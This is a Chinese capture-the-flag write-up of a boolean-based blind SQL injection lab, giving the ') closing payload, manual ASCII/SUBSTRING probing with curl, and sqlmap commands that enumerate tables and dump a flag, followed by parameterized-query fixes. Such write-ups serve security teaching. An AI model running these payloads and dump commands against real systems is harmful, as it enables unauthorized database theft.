news 2026/9/2 5:52:34

【好靶场】SQL 注入-布尔盲注-1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【好靶场】SQL 注入-布尔盲注-1

【好靶场】SQL 注入-布尔盲注-1

  • 【好靶场】SQL 注入-布尔盲注-1:从响应差异判断到 sqlmap 读取 Flag
    • 前言
    • 一、前置知识
      • 1. 什么是布尔盲注
      • 2. 通用利用流程与MySQL核心函数
      • 3. 本题注入结构与Payload原理
      • 4. 漏洞判定与注入类型取舍
    • 二、考点分析
    • 三、靶场请求分析
      • 1. 查看页面和接口
      • 2. 发送正常请求
      • 3. 推断原始 SQL 结构
    • 四、漏洞利用流程
      • 步骤 1:验证恒真和恒假条件
      • 步骤 2:手工理解数据库名判断
      • 步骤 3:sqlmap 确认注入点
      • 步骤 4:枚举当前数据库中的表
      • 步骤 5:枚举 `flag` 表字段
      • 步骤 6:读取 Flag
    • 五、工具复现命令汇总
      • 1. 确认注入并获取当前数据库
      • 2. 枚举当前库内的数据表
      • 3. 枚举 flag 表中的全部字段
      • 4. 导出 flag 字段中的目标数据
    • 六、漏洞根因与修复
      • 1. 漏洞根因:用户输入直接拼接进 SQL
      • 2. 使用参数化查询(根本修复方案)
      • 3. 增加输入类型校验(辅助防护)
      • 4. 禁止将黑名单过滤作为主防御方案
      • 5. 优化接口行为与数据库权限管控
    • 七、总结

【好靶场】SQL 注入-布尔盲注-1:从响应差异判断到 sqlmap 读取 Flag

声明:本文仅用于官方授权的隔离靶场和 CTF 安全学习。文中所有请求只针对题目给出的地址,不涉及任何第三方网站或未授权系统。


前言

本题表面上是一个“根据用户 ID 判断用户是否存在”的功能。页面不会直接显示数据库查询结果,也不会回显 SQL 报错,只会根据查询结果返回一段 JSON:

{"exists":true,"message":"用户存在","status":"success"}

或:

{"exists":false,"message":"用户不存在","status":"success"}

这种通过响应中的真假差异来推断数据库查询结果的漏洞,就是布尔盲注

本题的利用链如下:

定位 /check?id= 接口 ↓ 观察 exists 字段的真假 ↓ 构造恒真、恒假条件确认注入 ↓ 确定输入需要使用 ') 闭合 ↓ sqlmap 识别 Boolean-based blind ↓ 枚举当前数据库、数据表和字段 ↓ 读取 flag 表中的目标数据

一、前置知识

1. 什么是布尔盲注

布尔盲注属于无回显SQL注入,页面既不会直接输出数据库数据,也不会抛出SQL报错信息。后端只会根据SQL执行结果返回两种业务状态:

  • SQL条件成立:exists=true
  • SQL条件不成立:exists=false

我们无法直接读取数据,只能不断构造布尔判断语句,依靠响应的真假差异,配合二分法逐字符猜解出库名、表名、字段以及Flag。
简易逻辑模型:

可控参数拼接SQL → 构造布尔条件 接口返回 true/false → 判断语句真假 多次二分猜解 → 还原完整数据

2. 通用利用流程与MySQL核心函数

布尔盲注标准化测试流程:

  1. 验证接口是否存在稳定的真假响应差异
  2. 遍历测试各类闭合符号,完成SQL逃逸
  3. 判断后端数据库类型
  4. 判断目标字符串长度,逐位爆破字符ASCII值
  5. 依次枚举数据库、数据表、敏感字段

MySQL盲注常用函数:

函数/系统库作用
DATABASE()获取当前数据库名
LENGTH()获取字符串长度,确定猜解总次数
SUBSTRING()截取指定位置的单个字符
ASCII()将字符转为十进制数值,用于大小对比
information_schemaMySQL元数据库,存储库、表、字段信息

3. 本题注入结构与Payload原理

靶场后端接口:GET /check?id=xxx,前端通过fetch异步发送校验请求,注入点为GET参数id
后端SQL被括号包裹,真实模板反向推导为:

WHERE(id='$id')

普通单引号'或者单独右括号)都无法完整闭合语法,需要组合')实现双重逃逸。

通过多组Payload对比响应完成验证:

  1. id=1true(正常业务)
  2. id=1'/id=1)→ 无法产生稳定真假差异
  3. 1') AND 1=1 AND ('a'='atrue(恒真)
  4. 1') AND 1=2 AND ('a'='afalse(恒假)

可用注入模板:

1') AND [布尔条件] AND ('a'='a

语法拆分:

  1. 1:保留合法原始参数
  2. '):闭合原有单引号与外层括号,完成逃逸
  3. AND [布尔条件]:插入自定义判断逻辑
  4. AND ('a'='a:用恒真表达式补齐SQL语法

踩坑要点:本题不能使用#--注释截断语句,注释会破坏语法,无法拿到稳定布尔结果;Payload有效性唯一判定标准:修改中间逻辑时,接口稳定返回true/false

4. 漏洞判定与注入类型取舍

判断漏洞成立的核心依据:更换恒真/恒假表达式,接口产生稳定差异化返回。单纯输入特殊字符触发语法报错,仅代表参数可控,不等于可利用盲注漏洞。

同时该场景无法使用UNION联合注入:UNION需要页面存在明文数据输出点,当前接口仅返回布尔状态,没有数据回显窗口,只能采用布尔盲注逐字符猜解数据。


二、考点分析

  1. 注入点不在首页页面,而是后端异步校验接口,靶场环境无需端口扫描、目录爆破,直接对id参数开展测试;
  2. 区别普通数字型、单引号字符串注入,本题属于括号包裹的字符串闭合场景,是新手高频卡点;
  3. 掌握特殊盲注语法:无法使用注释截断SQL,采用恒真表达式补全语法的利用方式;
  4. 能够根据页面回显特征,自主选择合适的注入手法,区分UNION注入、报错注入与布尔盲注的适用边界。

三、靶场请求分析

1. 查看页面和接口

访问靶场首页:

页面本身不会直接查询数据库,输入 ID 点击校验后,前端 JavaScript 会通过fetch异步向后端发送请求。打开浏览器 F12 开发者工具,切换到网络(Network)面板抓包,或者直接查看页面 JS 源码,就能找到真正负责校验逻辑的后端接口:

GET /check?id=...

后续所有注入测试、Payload 验证都针对该 GET 接口执行,首页页面本身不存在注入点。


2. 发送正常请求

在 Kali Linux 终端使用curl发送基础测试请求。
这里不能直接把特殊符号拼在 URL 后面,我们使用--data‑urlencode参数自动完成 URL 编码,防止括号、单引号被终端转义失效。

curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode'id=1'

原始返回完整 JSON:

{"exists":true,"message":"用户存在","status":"success"}

手工盲注时我们只需要对比exists的真假值,多余字段会干扰肉眼判断。安装jqJSON 格式化工具,用来过滤提取目标布尔字段:

curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode'id=1'|jq-r'.exists'

执行输出结果:

true

实操踩坑总结:

  1. 不加 URL 编码直接在地址栏输入'),浏览器转义后会导致 Payload 失效;
  2. 使用curl -G配合--data‑urlencode,专门用于 GET 请求的参数编码,是手工注入调试的标准写法;
  3. jq过滤输出,方便批量对比恒真/恒假请求的返回差异,大幅提升手工盲注效率。

3. 推断原始 SQL 结构

靶场没有对外提供后端源码,下方 SQL 语句仅为根据注入 Payload 反向推导的模拟结构,用于理解闭合逻辑,并非真实业务代码。

我们推测后端查询模板格式如下:

SELECT...FROMusersWHERE(id='$id')

当传入注入字符串1') AND 1=1 AND ('a'='a,与后端模板拼接完成后,最终执行的 SQL 片段等价于:

WHERE(id='1')AND1=1AND('a'='a')

如果把判断条件替换成恒假表达式1=2,整条 WHERE 判断逻辑不成立,接口就会返回exists=false,由此形成我们盲注所依赖的真假差异。


四、漏洞利用流程

步骤 1:验证恒真和恒假条件

构造两组仅布尔逻辑不同的Payload,用来确认注入是否生效。
执行恒真语句测试:

curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode"id=1') AND 1=1 AND ('a'='a"|jq-r'.exists'

预期输出:

true

执行恒假语句测试:

curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode"id=1') AND 1=2 AND ('a'='a"|jq-r'.exists'

预期输出:

false

两次请求除中间判断表达式以外完全一致,但是接口返回的布尔值出现稳定差异。由此可以判定:id参数存在布尔型SQL注入漏洞。


步骤 2:手工理解数据库名判断

工具可以自动化完成爆破,但我们需要先理解手工盲注的完整逻辑。
首先判断当前数据库名称的字符长度:

curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode"id=1') AND LENGTH(DATABASE())=17 AND ('a'='a"|jq-r'.exists'

返回结果为true,代表数据库名字符长度等于17,本环境数据库名为sql_injection_lab
接下来对单个字符进行猜解,借助SUBSTRING截取指定位置字符,再通过ASCII转换成十进制数字做大小对比。示例:判断第一位字符ASCII值是否大于110:

curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode"id=1') AND ASCII(SUBSTRING(DATABASE(),1,1))>110 AND ('a'='a"|jq-r'.exists'

返回true则代表条件成立,字符ASCII值大于110。不断调整判断数值缩小范围,逐个位置完成猜解,最终拼接出完整字符串。
手工盲注固定执行逻辑:

LENGTH() 判断目标字符串总长度 ↓ SUBSTRING() 锁定单个字符位置 ↓ ASCII() 将字符转为可比较的十进制数值 ↓ 二分法不断缩小数值区间,确定准确字符

步骤 3:sqlmap 确认注入点

完成手工验证之后,使用sqlmap自动化识别注入类型并枚举数据。首次扫描增加--flush‑session清空历史缓存,避免旧会话干扰识别结果。

sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid\--batch\--flush-session\--technique=B\--level=3\--risk=1\--threads=1\--timeout=10\--retries=1\--current-db

参数功能说明:

参数作用
-u指定本次测试的目标请求地址
-p id限定仅对id参数进行注入测试
--batch全部交互选项自动选用默认值
--flush-session清除sqlmap本地缓存会话
--technique=B限定只使用布尔盲注模式
--level=3使用中等规模的Payload测试集
--risk=1低风险测试语句,避免破坏靶场数据
--threads=1单线程发送请求,防止请求频率过高异常
--current-db查询当前连接的数据库名称

sqlmap识别结果:

工具自动生成的可用Payload:

id=1') AND 1873=1873 AND ('MVhu'='MVhu

扫描结果再次验证本题注入闭合格式为')


步骤 4:枚举当前数据库中的表

已知数据库名称为sql_injection_lab,增加--tables参数枚举库内所有数据表。

sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid\--batch\--technique=B\--level=3\--risk=1\--threads=1\--timeout=10\--retries=1\-Dsql_injection_lab\--tables

返回结果:

数据表列表中出现目标表flag,下一步针对该表读取字段信息。


步骤 5:枚举flag表字段

使用--columns指令查询flag表包含的字段名称与数据类型。

sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid\--batch\--technique=B\--level=3\--risk=1\--threads=1\--timeout=10\--retries=1\-Dsql_injection_lab\-Tflag\--columns

返回结果:

flag字段为文本类型,就是我们需要获取的敏感数据。


步骤 6:读取 Flag

指定数据库、数据表与目标字段,搭配--dump导出完整数据内容。

sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid\--batch\--technique=B\--level=3\--risk=1\--threads=1\--timeout=10\--retries=1\-Dsql_injection_lab\-Tflag\-Cflag\--dump

sqlmap成功导出表内记录:

最终获取Flag:

flag{ed242c044870464f9264dfa47447abed}

五、工具复现命令汇总

如果仅需要快速复现完整利用流程,可以依次执行下面四条命令,全部操作仅针对靶场地址27212端口下的/check?id=1接口。

1. 确认注入并获取当前数据库

sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid--batch--flush-session--technique=B\--level=3--risk=1--threads=1\--timeout=10--retries=1--current-db

2. 枚举当前库内的数据表

sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid--batch--technique=B\--level=3--risk=1--threads=1\--timeout=10--retries=1\-Dsql_injection_lab--tables

3. 枚举 flag 表中的全部字段

sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid--batch--technique=B\--level=3--risk=1--threads=1\--timeout=10--retries=1\-Dsql_injection_lab-Tflag--columns

4. 导出 flag 字段中的目标数据

sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid--batch--technique=B\--level=3--risk=1--threads=1\--timeout=10--retries=1\-Dsql_injection_lab-Tflag-Cflag--dump

简易参数释义:

参数作用
-D指定要操作的数据库名称
-T指定目标数据表
-C指定需要读取的字段
--dump导出表内完整数据内容

实操提示:--flush‑session仅第一次扫描时使用,后续连续复现可以省略该参数,加快扫描速度。


六、漏洞根因与修复

1. 漏洞根因:用户输入直接拼接进 SQL

该漏洞和请求方式、JSON返回格式没有直接关系,核心问题在于后端直接把用户可控的输入字符串拼接至SQL语句内部执行。
模拟存在漏洞的伪代码逻辑如下:

user_id=request.args.get('id','')sql="SELECT 1 FROM users WHERE (id = '"+user_id+"')"cursor.execute(sql)

正常传入纯数字时业务逻辑运行正常;一旦攻击者提交携带单引号、括号、逻辑运算符的特殊字符串,用户输入就会脱离「数据」的范畴,变成可篡改SQL语义的代码片段。


2. 使用参数化查询(根本修复方案)

安全的编码方式采用预编译+参数绑定,SQL语句模板与用户输入完全分离。
安全示例代码:

fromflaskimportjsonify,request@app.get('/check')defcheck_user():raw_id=request.args.get('id','')try:user_id=int(raw_id)exceptValueError:returnjsonify({'exists':False,'message':'参数格式错误','status':'error'}),400cursor.execute('SELECT 1 FROM users WHERE id = %s LIMIT 1',(user_id,))exists=cursor.fetchone()isnotNonereturnjsonify({'exists':exists,'message':'用户存在'ifexistselse'用户不存在','status':'success'})

防护的关键语句:

cursor.execute(sql,(user_id,))

数据库驱动会把变量作为纯数据绑定执行,不会解析其中的SQL语法,攻击者无法通过构造') AND ...这类Payload篡改查询逻辑。


3. 增加输入类型校验(辅助防护)

结合业务场景,本接口的id本质为整型编号,可以在业务层提前做合法性校验。
框架自带强制类型转换:

user_id=request.args.get('id',type=int)

自定义格式校验:

raw_id=request.args.get('id','')ifnotraw_id.isdecimal():return'invalid id',400

注意:输入校验属于第二层防护措施,无法单独防御SQL注入,修复注入漏洞的核心手段依旧是参数化查询。


4. 禁止将黑名单过滤作为主防御方案

仅依靠黑名单拦截关键字与特殊字符无法根治注入问题。
黑名单过滤目标:单引号、括号、ANDOR、空格、注释符等。
攻击者可以利用URL编码、大小写变形、特殊语法、换行符等方式绕过过滤规则。黑名单只能作为安全检测的补充策略,不能替代预编译语句。


5. 优化接口行为与数据库权限管控

线上生产环境需要配套加固策略,缩小攻击面:

  1. 统一异常返回报文,禁止对外暴露SQL报错详情;
  2. 对高频异常请求添加访问限速,留存安全审计日志;
  3. 避免接口返回精准的资源存在判断结果,降低布尔盲注利用条件;
  4. 遵循最小权限原则,分配给业务程序的数据库账号仅保留必要权限。

七、总结

完成这道靶场的核心,不在于直接套用现成Payload,而是按照完整测试流程逐步验证注入特征,整体利用链路梳理如下:

首页脚本定位目标接口 GET /check?id= ↓ 发送普通请求,确认 exists 布尔字段作为判断依据 ↓ 对比恒真、恒假Payload,拿到稳定的 true / false 差异化响应 ↓ 多次试错,确定注入点需要 ') 完成语法闭合 ↓ 判定漏洞类型为 Boolean‑based blind SQL Injection(布尔型盲注) ↓ 借助 sqlmap 自动枚举 sql_injection_lab 数据库内容 ↓ 遍历数据表,定位 flag 表与敏感字段 flag ↓ 导出表数据拿到最终 Flag

本次靶场获取的Flag:

flag{ed242c044870464f9264dfa47447abed}

对应的安全加固流程:

杜绝直接拼接用户输入构造SQL语句 ↓ 采用预编译参数化查询作为核心防护手段 ↓ 叠加业务层输入校验、统一异常返回报文 ↓ 配套数据库最小权限、请求限流、安全审计日志做纵深防御
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/2 5:52:21

构建Chrome扩展MCP服务器:为AI编程助手集成浏览器自动化能力

在实际开发中,我们常常需要将浏览器环境的能力(如页面信息获取、DOM操作、网络请求拦截等)集成到自动化脚本或AI辅助编程工具中。一个典型的场景是,希望像“kimi-code”这类AI编程助手能够直接调用浏览器的功能,例如自…

作者头像 李华
网站建设 2026/9/2 5:52:12

计算机视觉如何重塑商超运营:从客流统计到顾客决策链路分析

你有没有遇到过这样的场景:在一个大型商超里,你看到一个顾客拿起一件商品,又放下,在几个货架间反复徘徊,最后空手离开。作为管理者,你心里会冒出无数个问号:他为什么犹豫?是价格不合…

作者头像 李华
网站建设 2026/9/2 5:50:36

QGIS无人机测绘插件FlyPath:一站式航线规划与GIS工作流整合

在无人机测绘项目中,手动规划飞行航线不仅耗时费力,还容易因人为疏忽导致数据采集不全或重叠率不足。如果你正在使用QGIS进行地理信息处理,那么一个能够直接在熟悉的GIS环境中规划任务的插件将极大提升工作效率。本文将详细介绍一款名为FlyPa…

作者头像 李华
网站建设 2026/9/2 5:44:58

H3 Max开源视频模型解析:从超实时优化到本地部署实践

近一周,AI视频生成圈子里最热闹的消息,不是哪个闭源产品又更新了版本,而是一个开源模型被第三方二次改造后,跑出了“超实时”的视频生成速度。这个模型就是 MiniMax 开源的 H3 Max。改造它的,是海外知名推理平台 fal。…

作者头像 李华
网站建设 2026/9/2 5:44:37

ffmpeg抽帧拼墙:视频质检如何避免抽样漏检?

视频质量检查这件事,最怕的不是画面有问题,而是问题藏在抽样点之外。常见的检查习惯是“头、中、尾”各抽一帧,或者随手抽 3 帧,只要这几帧清晰、不黑、不花屏,就判断整条视频没有问题。可一旦把抽出来的所有帧拼成一面…

作者头像 李华